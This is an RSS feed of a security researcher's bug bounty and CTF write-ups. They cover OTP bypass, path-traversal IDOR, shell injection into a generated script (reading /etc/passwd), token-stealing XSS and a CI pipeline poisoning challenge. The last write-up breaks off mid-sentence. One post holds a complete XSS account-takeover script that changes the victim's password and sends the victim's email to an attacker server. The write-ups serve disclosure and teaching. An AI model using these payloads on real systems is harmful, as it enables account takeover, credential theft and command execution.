<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Rifqi Hilmy Zhafrant on Medium]]></title>
        <description><![CDATA[Stories by Rifqi Hilmy Zhafrant on Medium]]></description>
        <link>https://medium.com/@rifqihz?source=rss-ee001b237be5------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*04amkgjFEpGvhTIk5a1DjQ@2x.jpeg</url>
            <title>Stories by Rifqi Hilmy Zhafrant on Medium</title>
            <link>https://medium.com/@rifqihz?source=rss-ee001b237be5------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Thu, 19 Nov 2026 19:30:31 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@rifqihz/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[[Bounty Weekend] Phone Verification Bypass With Business Logic Vulnerability]]></title>
            <link>https://medium.com/@rifqihz/bounty-weekend-phone-verification-bypass-with-business-logic-vulnerability-1b2844b93d5a?source=rss-ee001b237be5------2</link>
            <guid isPermaLink="false">https://medium.com/p/1b2844b93d5a</guid>
            <category><![CDATA[hackerone]]></category>
            <category><![CDATA[writeup]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <dc:creator><![CDATA[Rifqi Hilmy Zhafrant]]></dc:creator>
            <pubDate>Fri, 28 Jun 2024 23:01:32 GMT</pubDate>
            <atom:updated>2024-06-28T23:01:32.963Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/955/0*DRdti5NvSs6k_oiE.png" /><figcaption>Generated by <a href="https://openart.ai/">openart</a></figcaption></figure><p>Bismillah, hello there ! I’m Rifqihz, a penetration tester, bug hunter and a college student who’s currently learning and writing about cyber security related topics.</p><p>Welcome to the 5<strong>th</strong> article of “<strong>Bounty Weekend</strong>”. I created this mini project to share about my bug bounty reports, technique, ideas and all things related to bug bounty. So please enjoy and give me any advice if you have one !</p><h4>Background</h4><p>The target application is an online banking platform that provides a range of financial services, including high-interest savings accounts, no-fee transactions, and easy money transfers. Users can manage their finances conveniently through a user-friendly interface, accessing features like bill payments, international money transfers, and financial insights. The platform aims to offer a seamless and efficient banking experience, with a focus on high returns and low costs for its users.</p><h4>Discovery</h4><p>During the registration process, the application requires both email and phone number verification, utilizing OTP (One Time Password) for this purpose. The sequence involves first validating the email address, followed by the phone number.</p><h4>Analysis</h4><p>While analyzing the registration flow, I intercepted the request responsible for sending the OTP to the email address. The request payload was as follows:</p><pre>{&quot;email&quot;:&quot;&lt;Your Email Address&gt;&quot;,&quot;otpChannel&quot;:&quot;EMAIL&quot;}</pre><p>Upon following the flow, after validating the email address, the next step was phone number verification. However, when I triggered the API to resend the OTP to the email address, it sent the OTP again, even though the email verification was already complete.</p><h4>Exploitation</h4><p>After discovering that the OTP was sent to the email address despite the completion of the email verification step, I experimented by using the OTP received via email for the phone number verification step. Surprisingly, the OTP was accepted, thereby bypassing the phone number verification process.</p><p>This indicated a security flaw where the OTP for email could be used to validate phone number verification, compromising the integrity of the registration process.</p><h4>Report</h4><p>The CVSS scoring were using Hackerone 3.0 CVSS</p><pre>CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N</pre><p>Alhamdulillah, you’ve reach the end. Hopefully you learn something from here and thanks for your support !</p><blockquote>I’m sorry if it’s lack of screenshots because it’s a report from 2022 and i don’t really document it well back then :(</blockquote><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=1b2844b93d5a" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[[Bounty Weekend] View Any User Design With Simple Path Traversal IDOR]]></title>
            <link>https://medium.com/@rifqihz/bounty-weekend-view-any-user-design-with-simple-path-traversal-idor-5fe0f59f56a6?source=rss-ee001b237be5------2</link>
            <guid isPermaLink="false">https://medium.com/p/5fe0f59f56a6</guid>
            <category><![CDATA[hackerone]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[broken-access-control]]></category>
            <dc:creator><![CDATA[Rifqi Hilmy Zhafrant]]></dc:creator>
            <pubDate>Sat, 15 Jun 2024 11:02:37 GMT</pubDate>
            <atom:updated>2024-06-15T11:02:37.601Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/955/0*rherhd021H-va4It.png" /><figcaption>Generated by <a href="https://openart.ai/">openart</a></figcaption></figure><p>Bismillah, hello there ! I’m Rifqihz, a penetration tester, bug hunter and a college student who’s currently learning and writing about cyber security related topics.</p><p>Welcome to the <strong>3rd</strong> article of “<strong>Bounty Weekend</strong>”. I created this mini project to share about my bug bounty reports, technique, ideas and all things related to bug bounty. So please enjoy and give me any advice if you have one !</p><h4>Background</h4><p>The target application is a platform that allows users to create personalized designs for products and then purchase these customized items. Users can choose from various templates or upload their own designs to be printed on the products, ensuring a unique and personalized shopping experience.</p><h4>Discovery</h4><p>While accessing my design. I found this request</p><pre>GET https://www.domain.com/ucd/ucd.php?action=load&amp;xmlpath=/files/cart_items/193/61304833/UCD.xml&amp;convertYear=0&amp;is_temp=0</pre><p>The request will return a response containing XML data about user design</p><h4>Analysis</h4><p>In the xmlpath parameter I found that it used a specific format</p><pre>/file/cart_items/&lt;category_id&gt;/&lt;design_id&gt;/UCD.xml </pre><p>I tried to change the design_id to my test account design id. But it return 403 forbidden.</p><h3>Exploitation</h3><p>We can bypass it by using path traversal. Payload :</p><pre>/file/cart_items/&lt;category_id&gt;/&lt;attacker_design_id&gt;/../&lt;victim_design_id&gt;/UCD</pre><h3>Report</h3><p>The CVSS scoring were using Hackerone 3.0 CVSS</p><pre>CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N/CR:X/IR:X/AR:X</pre><p>Alhamdulillah, you’ve reach the end. Hopefully you learn something from here and thanks for your support !</p><blockquote>I’m sorry if it’s lack of screenshots because it’s a report from 2022 and i don’t really document it well back then :(</blockquote><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=5fe0f59f56a6" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[[Bounty Weekend] Possible Code Execution With Integration Script Tampering]]></title>
            <link>https://medium.com/@rifqihz/bounty-weekend-possible-code-execution-with-integration-script-tampering-f38691e99d4b?source=rss-ee001b237be5------2</link>
            <guid isPermaLink="false">https://medium.com/p/f38691e99d4b</guid>
            <category><![CDATA[hackerone]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[cloud]]></category>
            <dc:creator><![CDATA[Rifqi Hilmy Zhafrant]]></dc:creator>
            <pubDate>Sat, 15 Jun 2024 11:02:37 GMT</pubDate>
            <atom:updated>2024-06-15T11:02:37.127Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/955/0*lOEiY8h_lE_tDhxx.png" /><figcaption>Generated by <a href="https://openart.ai/">openart</a></figcaption></figure><p>Bismillah, hello there ! I’m Rifqihz, a penetration tester, bug hunter and a college student who’s currently learning and writing about cyber security related topics.</p><p>Welcome to the <strong>4th</strong> article of “<strong>Bounty Weekend</strong>”. I created this mini project to share about my bug bounty reports, technique, ideas and all things related to bug bounty. So please enjoy and give me any advice if you have one !</p><h3>Background</h3><p>The target application is a tool that provides secure access management for infrastructure, enabling users to manage and access servers, Kubernetes clusters, and databases seamlessly. It enhances security by offering features like single sign-on, role-based access controls, and audit logging, making it easier to manage and monitor access to critical infrastructure.</p><h3>Discovery</h3><p>When access the integration script to integrate with AWS OIDC we can specify integration name and the role of the integration.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zSaGfRs0Tct-0a84KgW6TA.png" /><figcaption>integration AWS OIDC UI</figcaption></figure><p>When i click the generate command. I found a download script url like https://h1-v0id1.domain.com/api/scripts/integrations/configure/awsoidc-idp.sh?integratation_name=test&amp;role=exampleRole.</p><h3>Analysis</h3><p>I found that we can’t use any symbol in web UI but by specifying it on the download script instead, we can inject and tamper the integration script. Moreover the integration name and role name is reflected in the integration script.</p><p>So we can inject bash script in download url and tamper the integration script to gain code execution.</p><h3>Exploitation</h3><p>We can inject &#39; and break the script. For example if we inject like this we can break the script and execute cat /etc/passwd</p><pre>payload : <br>https://h1-v0id1.domain.com/api/scripts/integrations/configure/awsoidc-idp.sh?integration_name=%78%78%78%27%0A%63%61%74%20%2f%65%74%63%2f%70%61%73%73%77%64%0A%78%3d%27&amp;role=exampleRole</pre><p>The decoded payload will looks like this</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*uUZTn5UdurDXgjisbIvV6w.png" /><figcaption>url decoded payload using <a href="https://gchq.github.io/CyberChef/#recipe=URL_Decode()&amp;input=aHR0cHM6Ly9oMS12MGlkMS5kb21haW4uY29tL2FwaS9zY3JpcHRzL2ludGVncmF0aW9ucy9jb25maWd1cmUvYXdzb2lkYy1pZHAuc2g/aW50ZWdyYXRpb25fbmFtZT0lNzglNzglNzglMjclMEElNjMlNjElNzQlMjAlMmYlNjUlNzQlNjMlMmYlNzAlNjElNzMlNzMlNzclNjQlMEElNzglM2QlMjcmcm9sZT1leGFtcGxlUm9sZQ">cyber chef</a> from gchq</figcaption></figure><p>The script will looks like this</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*lAB37Ur-mkXmM5Vx847YvQ.png" /><figcaption>script after tampered</figcaption></figure><h3>Report</h3><p>The report is marked as duplicate. Original report CVSS : Medium (5.8)</p><p>Alhamdulillah, you’ve reach the end. Hopefully you learn something from here and thanks for your support !</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=f38691e99d4b" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[[Bounty Weekend] Disable Any Customer Ability To Create Service Account With Business Logic…]]></title>
            <link>https://medium.com/@rifqihz/bounty-weekend-disable-any-customer-ability-to-create-service-account-with-business-logic-b83baa893b4d?source=rss-ee001b237be5------2</link>
            <guid isPermaLink="false">https://medium.com/p/b83baa893b4d</guid>
            <category><![CDATA[bug-bounty-tips]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[hackerone]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <dc:creator><![CDATA[Rifqi Hilmy Zhafrant]]></dc:creator>
            <pubDate>Sat, 08 Jun 2024 01:02:33 GMT</pubDate>
            <atom:updated>2024-06-08T01:02:33.072Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9Q18U7l2Z8o5jxt8POyLIA.png" /><figcaption>Generated by <a href="https://openart.ai/">openart</a></figcaption></figure><h3>[Bounty Weekend] Disable Any Customer Ability To Create Service Account With Business Logic Vulnerability</h3><p>Bismillah, hello there ! I’m Rifqihz, a penetration tester, bug hunter and a college student who’s currently learning and writing about cyber security related topics.</p><p>Welcome to the <strong>1st</strong> article of “<strong>Bounty Weekend</strong>”. I created this mini project to share about my bug bounty reports, technique, ideas and all things related to bug bounty. So please enjoy and give me any advice if you have one !</p><h3>Background</h3><p>The target is a web application that use Graphql as API. In recent times, the application has new feature which was a service account. This service account is mainly used to create an API Key that could be used to integrate this app with other application.</p><h3>Discovery</h3><p>While doing test using the service account API key in the Graphql endpoint, I found an interesting information while querying the “me” query. This “me” query basically show the information about the current user.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*W36M_-rZYPO0pIMu8pOY9A.png" /><figcaption>me query</figcaption></figure><p>The service account has email address and it used a specific format : redacted-service-account-&lt;org_id&gt;@email.com</p><h3>Analysis</h3><p>What would happen if I invite another user service account email address to my organization ?</p><blockquote>Little note : based on my previous analysis. If we invite a non registered user the server will create that user in database. This app also doesn’t have login feature with email address. It must use OAuth from the “main” app</blockquote><p>Then I create this step by step attack scenario</p><h4>Step by Step</h4><ol><li>I create 2 accounts. Account A as attacker and account B as victim</li><li>I invite victim service account email address to attacker organization</li><li>Using victim account, I tried to generate service account but it return database error duplicate key violates unique constraint</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*gdtn5UscjrEirCmxm3EBEw.png" /><figcaption>Account B (victim) can’t create service account</figcaption></figure><p>This confirm that I’m able to invite victim service account to attacker organization and make victim couldn’t create service account API key because the service account account already exist (shown by the duplicate error).</p><p>Does it over? not yet</p><h3>Exploitation</h3><p>To make the attack really happened, we need to know other organization’s id. The id is unguessable because it’s 32 character alphanumeric.</p><p>Fortunately using an <a href="https://www.youtube.com/watch?v=dQw4w9WgXcQ"><em>undisclosed</em></a> technique and my little python coding skill. I’m able to create a python script to automate and deliver the full proof of concept to get the other user organization id</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/391/1*OYKWSh3EepF5eiH7VvFgKQ.png" /><figcaption>Some script debug result</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/866/1*A_Rex4UrBeEKLR_3FH384A.png" /><figcaption>org id and the org name</figcaption></figure><h3>Report</h3><p>The CVSS scoring were using Hackerone 3.0 CVSS with <a href="https://docs.hackerone.com/en/articles/8495699-environmental-score">environmental metric</a></p><pre>CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:L/CR:H/IR:H/AR:H<br>Final severity: Critical (9.7)  </pre><p>Alhamdulillah, you’ve reach the end. Hopefully you learn something from here and thanks for your support !</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=b83baa893b4d" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[[Bounty Weekend] CTF Level XSS in a Real-World Application]]></title>
            <link>https://medium.com/@rifqihz/bounty-weekend-ctf-level-xss-in-a-real-world-application-7a9278bc7018?source=rss-ee001b237be5------2</link>
            <guid isPermaLink="false">https://medium.com/p/7a9278bc7018</guid>
            <category><![CDATA[hackerone]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[bug-bounty-tips]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <dc:creator><![CDATA[Rifqi Hilmy Zhafrant]]></dc:creator>
            <pubDate>Sat, 08 Jun 2024 01:02:31 GMT</pubDate>
            <atom:updated>2024-06-08T01:02:31.325Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9Q18U7l2Z8o5jxt8POyLIA.png" /><figcaption>Generated by <a href="https://openart.ai/">openart</a></figcaption></figure><p>Bismillah, hello there ! I’m Rifqihz, a penetration tester, bug hunter and a college student who’s currently learning and writing about cyber security related topics.</p><p>Welcome to the <strong>2nd</strong> article of “Bounty Weekend”. I created this mini project to share about my bug bounty reports, technique, ideas and all things related to bug bounty. So please enjoy and give me any advice if you have one !</p><h3>Background</h3><p>The target application is a web app that used express js as front end and it has webpack with sourcemap enabled so we can see the original source via browser inspect element. This application also use Oauth from the main app to login to this app.</p><h3>Discovery</h3><p>While reading the front-end source code, I found a redirect parameter that is usually used after the user successfully logs in. This redirect parameter is included in the query string with the name to.</p><p>After some testing, when i add ?to=https://google.com it redirect to https://google.com. So it’s confirmed that it’s vulnerable to open redirect. But we won’t stop there.</p><h3>Analysis</h3><p>I try to inject XSS using javascript URL (e.g javascript:alert(1)), but nothing happened. I continue to read the source code and found this interesting code.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*aivf3esnoTSRYDdfWgpR3w.png" /><figcaption>source code</figcaption></figure><p>Do you spot the vulnerability?</p><p>It’s on the replace function. You can check <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/replace">this documentation</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1008/1*CdkzT8LcflnG3BMjbnXcJg.png" /><figcaption>mdn documentation</figcaption></figure><p>The replacefunction only replace the first occurence if the parameter is of type string.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/974/1*gJq9pc-Qoa3BeFUyHki7aA.png" /><figcaption>bypass</figcaption></figure><p>Why I said it’s CTF level XSS? Because I learn this technique in a CTF challenge that was using PHP and preg_replace function.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*HAqCMNXlP4FqD5WFw7P-UQ.png" /><figcaption>preg_replace bypass failed</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*yAYdNh2jAEAyEevxTpzmbg.png" /><figcaption>preg_replace bypass success</figcaption></figure><h3>Exploitation</h3><p>After get XSS executed, next i want to steal user bearer token. Fortunately, the bearer token is stored in local storage. So we can steal it using javascript:javascript:alert(localStorage.getItem(&quot;token&quot;))</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*drnLSlbzef_z-UAvvqFF-Q.png" /><figcaption>XSS with user token steal</figcaption></figure><h3>Report</h3><p>The CVSS scoring were using Hackerone 3.0 CVSS with <a href="https://docs.hackerone.com/en/articles/8495699-environmental-score">environmental metric</a></p><pre>CVSS:3.0/AV:N/AC:L/PR:L/UI:R/S:U/C:L/I:L/A:N/CR:H/IR:H/AR:H<br>Final severity: High (7.4)</pre><p>Alhamdulillah, you’ve reach the end. Hopefully you learn something from here and thanks for your support !</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=7a9278bc7018" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Reflected XSS To Account Takeover Without Stealing Session Cookie]]></title>
            <link>https://medium.com/@rifqihz/reflected-xss-to-account-takeover-without-stealing-session-cookie-89c6ed62a3e4?source=rss-ee001b237be5------2</link>
            <guid isPermaLink="false">https://medium.com/p/89c6ed62a3e4</guid>
            <category><![CDATA[xs]]></category>
            <category><![CDATA[hackerone]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <dc:creator><![CDATA[Rifqi Hilmy Zhafrant]]></dc:creator>
            <pubDate>Wed, 20 Mar 2024 04:25:41 GMT</pubDate>
            <atom:updated>2024-03-20T04:25:41.731Z</atom:updated>
            <content:encoded><![CDATA[<p>Hello everyone, I’m Rifqihz a college student, certified Google ACE, BSCP, bug hunter and pentester. This is my first article since 1,5 years ago :’)</p><p>So please enjoy and hopefully learn something</p><h3>Background</h3><p>A few days ago when doing bug bounty in a private program in Hackerone. I found a reflected XSS in their forgot password functionality in redirect_uriparam. I’m able to inject XSS payload and trigger the mighty alert popup with cookie value in it or send the cookie to my Burp collabolator server. Then it’s done, create a report then submit it and I got the bounty right? Well it’s not that simple. There’s httponly attributes in the session cookie. Along with further analysis below I’ll explain more about my approach to utilize this XSS to takeover account without stealing the session cookie</p><h3>Detection</h3><p>This is easy to detect but you need to pay attention to the detail of any reflected value and how the server respond it. Also Installing Burp extension like <a href="https://portswigger.net/bappstore/8e8f6bb313db46ba9e0a7539d3726651">Reflected</a> could help you to detect it</p><p>Forgot password flow :</p><pre>1.GET https://account.redacted.com/password/forgot?client_id=redacted_client_id&amp;response_type=code&amp;redirect_uri=https://account.redacted.com/api/login-redirect<br>(it show 200 OK with all the params reflected in the response)<br>2. POST https://account.redacted.com/password/forgot<br>(param : client_id, redirect_uri, response_type, tenantId , email)<br>(it show 302 Found redirect to 3rd request)<br>3. GET https://account.redacted.com/password/sent?client_id=redacted_client_id&amp;redirect_uri=https%3A%2F%2Faccount.redacted.com%2Fapi%2Flogin-redirect&amp;response_type=code&amp;tenantId=redacted_tenant_id<br>(it show 200 OK with all the params reflected in the response)</pre><p>In the first flow I tried to inject &#39; in the redirect_uri param but it redirect to /404 , so we can’t inject xss there</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9r0-HOXAIWfKGlPgmW-4Wg.png" /><figcaption>fail XSS in flow 1</figcaption></figure><p>In the second flow, I tried again to inject &#39; in the redirect_uri param but it also redirect to /404.</p><p>In the third flow I tried to inject &#39; in the redirect_uri param and it still render the page and the object is broken, we found something here !</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*je0W4CbcPOOKzvnaPWGVAw.png" /><figcaption>Broke JSON in flow 3</figcaption></figure><p>With this payload we can trigger the XSS</p><p><a href="http://google.com&/#39;-window.alert(document.domain),&#39;x&#39;:&#39;">http://google.com&#39;-window.alert(document.domain),&#39;x&#39;:&#39;</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/648/1*8Sc42FpbzmLget9Sx0teKg.png" /><figcaption>XSS alert trigger</figcaption></figure><h3>Exploitation</h3><p>As stated before the session cookie is secured with httponly attributes so we can’t takeover victim account that way.</p><p>After some analysis i found 2 important point :</p><ol><li>The X-Redacted-CSRF-Token is contain the CSRF token and the httponly attributes is not set so we can steal it</li><li>The update password feature is using CSRF token but it only require new password parameter and doesn’t need the current password</li></ol><p>You see where it’s going right?</p><p>We can use those behaviour to create this attack scenario :</p><ol><li>Steal user CSRF Token via X-Redacted-CSRF-Token cookie</li><li>Send request to get user profile endpoint to obtain victim email</li><li>Send request to update victim password with stealed CSRF token</li><li>Send request to attacker server containing the victim email to notify the victim with that email address has been hacked</li><li>Once attacker get notified, attacker just need to login to victim account using victim email and the new password</li></ol><h4>Technical Aspect</h4><p>Learned from Portswigger academy i always like to use the eval(atob(&#39;&lt;base64(payload)&gt;&#39;)) to execute XSS payload without having trouble with the &#39;,&quot;,new line or other similar character. But in this case the eval function is blocked. Fortunately we can still use the Function().</p><p>Code :</p><pre>var victimData = {}<br>const response = fetch(&#39;/api/user&#39;, {<br>   method: &#39;GET&#39;,<br>    credentials: &#39;include&#39;<br>}).then((response)=&gt;{return response.json()<br>}).then((data) =&gt; {<br>    victimData[&#39;email&#39;] = data[&#39;email&#39;]<br>})<br>function getCookie(name) {<br>    const value = `; ${document.cookie}`;<br>    const parts = value.split(`; ${name}=`);<br>    if (parts.length === 2) return parts.pop().split(&#39;;&#39;).shift();<br>}<br>const csrfToken = getCookie(&#39;X-Redacted-Csrf-Token&#39;)<br>fetch(&#39;/api/user/password?csrf=&#39;+csrfToken,{<br>        method: &#39;PUT&#39;,<br>        credentials: &#39;include&#39;,<br>        body: JSON.stringify({email: victimData[&#39;email&#39;], password: &#39;v1ctimN3wPassw00rd#&#39;})<br>}).then((response) =&gt; {<br>    if (response.status === 200){<br>        alert(`Account ${victimData[&#39;username&#39;]} with email ${victimData[&#39;email&#39;]} has been pwned. Password: v1ctimN3wPassw00rd#`)<br>    }else{<br>        alert(&#39;Error: &#39; + status_code)<br>    }<br>})<br>fetch(&#39;https://&lt;attacker server&gt;?email=&#39;+victimData[&#39;email&#39;])</pre><p>Final exploit :</p><pre>http://google.com&#39;-Function(atob(&#39;&lt;base64(code)&gt;&#39;))(),&#39;x&#39;:&#39;</pre><h3>Lesson learned</h3><p>We should pay attention to cookies attributes like httponly and secure and which is the session cookie that could be used to authenticate and which is not. If the session cookie is set with httponly then try to find other way to retrieve it like from <a href="https://aleksikistauri.medium.com/bypassing-httponly-with-phpinfo-file-4e5a8b17129b">phpinfo.php file</a> or maybe some pages that leaks the cookie in the response body. If there’s nothing then just do some further analysis and be creative to use this javascript execution to obtain the account takeover or other more impacted action. Always aim to get the highest impact</p><p>You can comment if you want to discuss with me,</p><p>Thank you for reading ! I hope you like it !</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=89c6ed62a3e4" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[RaaS- NahamCon EU CTF 2022 Writeup (Poisoned Pipeline Execution)]]></title>
            <link>https://medium.com/@rifqihz/raas-nahamcon-eu-ctf-2022-writeup-poisoned-pipeline-execution-7790d93e425a?source=rss-ee001b237be5------2</link>
            <guid isPermaLink="false">https://medium.com/p/7790d93e425a</guid>
            <category><![CDATA[devops]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Rifqi Hilmy Zhafrant]]></dc:creator>
            <pubDate>Tue, 20 Dec 2022 01:01:48 GMT</pubDate>
            <atom:updated>2022-12-20T01:01:48.117Z</atom:updated>
            <content:encoded><![CDATA[<p>Hello everyone, I’m Rifqihz a final year student of Information Technology, certified Google ACE and bug hunter which mainly work in Hackerone</p><h3>Background</h3><p>I was play NahamCon EU CTF 2022 as <strong>nyolo </strong>team (which consist only myself. Sad :(). I write this article because i think this attack is interesting , not many team can solve this challenge (only 34 when the ctf ran) and i never heard about this kind of attack before</p><p>Big thanks to @congon4tor as the author of this challenge and all of the NahamCon EU CTF organizers</p><p>That’s it for the opening. Enjoy this article and here’s my writeup for NahamCon EU CTF 2022 <strong>RaaS (DevOps) </strong>challenge</p><h3>The Challenge</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/949/1*Sw0ZkGFuS2kb9WyoWWp8QA.png" /><figcaption>Challenge description</figcaption></figure><p>In the challenge scenario we have victim git credential and we’re able to access his gitea account and drone CI dashboard with the credential.</p><p>In the gitea, we can see there’s only one repository called <strong>RaaS</strong> which contains .drone.yml and README.md files</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*cAh7n0dDy-z1RrORlPdgpw.png" /><figcaption>gitea RaaS repository</figcaption></figure><p>In Drone CI dashboard, after we authorize gitea-Drone CI integration and create Drone CI account, we can see there’s already one success build from 4 days ago</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0Ugb7qNylzE_NX1xfAfldQ.png" /><figcaption>Drone CI Dashboard for RaaS repository</figcaption></figure><h3>Analyze Files</h3><p>Now we can ignore the Drone CI dashboard and focus on RaaS repository. There’s not much file in the repository but .drone.yml is quite interesting, right?</p><p>Here’s the .drone.yml code</p><pre>---<br>kind: pipeline<br>type: exec<br>name: test pipeline pr-open<br><br>platform:<br>  os: linux<br>  arch: amd64<br><br>steps:<br>  - name: pr-open<br>    commands:<br>      - sh -c &quot;echo $DRONE_COMMIT_MESSAGE&quot;<br>trigger:<br>  event:<br>    - pull_request<br>  action:<br>    - opened<br>---<br>kind: signature<br>hmac: 5421480c92c78bbffdb54a029c854d87630e818631db1f8d32b388e50731dfce<br><br>...</pre><p>At first, i have blind knowledge about Drone CI. So i just jumped into their documentation. In the next section I’ll highlight and add a little explanation for the important code</p><h4>Pipeline Type</h4><pre>kind: pipeline <br>type: exec</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/642/1*fsCn0bRUpqDrRwKRUmX68A.png" /></figure><blockquote>An exec pipeline executes shell commands directly on the host machine without isolation.</blockquote><p>exec pipeline is only available in self-hosting environment. Check the reference <a href="https://docs.drone.io/pipeline/exec/overview/">here</a></p><h4>Shell commands</h4><pre>steps:<br>  - name: pr-open<br>    commands:<br>      - sh -c &quot;echo $DRONE_COMMIT_MESSAGE&quot;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/619/1*1D0eu8EslK1t2CCk96cdaw.png" /></figure><blockquote>Pipeline steps are defined as a series of shell commands. The commands are executed inside the root directory of your git repository</blockquote><p>The command sh -c &quot;echo $DRONE_COMMIT_MESSAGE&quot; basically will execute print (echo) the committed message in the terminal. You also can verify it by check the build result in the Drone CI dashboard</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/823/1*AL7Zefjhz9waeyD5iLT6hA.png" /><figcaption>Result for “Update ‘README.md’” commit message</figcaption></figure><h4>Triggers</h4><pre>trigger:<br>  event:<br>    - pull_request<br>  action:<br>    - opened</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/648/1*i4Fe59e5q2BtwiDGPlHc-g.png" /></figure><p>In the .drone.yml configuration, the build will be executed when a pull request is opened. Check the reference <a href="https://docs.drone.io/pipeline/exec/syntax/trigger/">here</a></p><h3>A Little Research</h3><p>After i understand the Drone CI configuration. I start to do a little research about what kind of vulnerability might be exist here and i found a great article from cidersecurity.io <a href="https://www.cidersecurity.io/top-10-cicd-security-risks/poisoned-pipeline-execution-ppe/">here</a></p><p>Quoted from their article :</p><blockquote><strong>Poisoned Pipeline Execution</strong> (PPE) risks refer to the ability of an attacker with access to source control systems — and without access to the build environment, to manipulate the build process by injecting malicious code/commands into the build pipeline configuration, essentially ‘poisoning’ the pipeline and running malicious code as part of the build process.</blockquote><p>So basically we can inject code / commands into the pipeline build and the CI/CD server will execute the code in the build process.</p><blockquote>Nb: This also my first time i heard about the <strong>Poisoned Pipeline Execution</strong></blockquote><h3>Exploit and fail !</h3><p>At first, i tried to make changes in README.mdfile, create commit, create pull request and the build process run successfully in the Drone CI</p><p>Then i tried to modify the .drone.yml configuration file, inject a malicious command and then create a pull request to trigger the build</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*TVhaUHCwAE0GcGVq9jCaLQ.png" /><figcaption>Adding `ls -la` in .drone.yml file</figcaption></figure><p>But i got error Build is blocked, please, contact repo admin in order to proceed in the Drone CI dashboard</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jLckDsYzUDaU2O1bfxSneQ.png" /></figure><p>In conclusion, we cannot just inject code or even make change in the .drone.yml file because the build process will be blocked but we can change the README.md file and the build process will be executed</p><p>I will explain the vulnerable point in the next section. So if you want to try to find the vulnerability by yourself, you can stop here and review the code again</p><h3>Vulnerable Point</h3><p>After reviewing the 